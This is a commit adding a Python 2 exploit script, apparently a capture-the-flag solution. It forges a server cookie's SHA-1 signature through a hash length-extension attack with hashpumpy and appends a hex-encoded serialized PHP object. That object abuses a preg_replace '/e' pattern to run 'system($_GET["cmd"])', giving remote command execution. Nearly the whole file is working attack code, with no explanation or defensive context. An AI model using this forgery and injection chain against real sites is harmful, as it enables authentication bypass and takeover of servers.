new_contents: import sys
  
  try:
      import hashpumpy
  except ImportError:
      print "Missing required hashpumpy library"
      print "Try 'pip install hashpumpy'"
      sys.exit(1)
  
  # the initial cookie given to us by the server
  data = 'b:1;'
  
  # the valid signature given to us by the server
  digest = '2141b332222df459fd212440824a35e63d37ef69'
  
  # our serialized PHP object
  add = '\n\x4f\x3a\x34\x3a\x22\x50\x6f\x73\x74\x22\x3a\x33\x3a\x7b\x73\x3a\x38\x3a\x22\x00\x2a\x00\x74\x69\x74\x6c\x65\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37\x3a\x22\x00\x2a\x00\x74\x65\x78\x74\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x31\x30\x3a\x22\x00\x2a\x00\x66\x69\x6c\x74\x65\x72\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x4f\x3a\x36\x3a\x22\x46\x69\x6c\x74\x65\x72\x22\x3a\x32\x3a\x7b\x73\x3a\x31\x30\x3a\x22\x00\x2a\x00\x70\x61\x74\x74\x65\x72\x6e\x22\x3b\x73\x3a\x35\x3a\x22\x2f\x2e\x2a\x2f\x65\x22\x3b\x73\x3a\x37\x3a\x22\x00\x2a\x00\x72\x65\x70\x6c\x22\x3b\x73\x3a\x32\x30\x3a\x22\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x22\x63\x6d\x64\x22\x5d\x29\x22\x3b\x7d\x7d\x7d'
  
  # assume the keylength hasn't changed; if signature is rejected other lengths can be tried
  keylen = 8
  
  # get our exploit cookie and its valid signature
  sig, message = hashpumpy.hashpump(digest, data, add, keylen)
  
  def urlencode(s):
      return ''.join('%%%02x'%ord(c) for c in s)
  
  print sig
  print urlencode(message)
  
subject: Add script for length-extension attack on cookie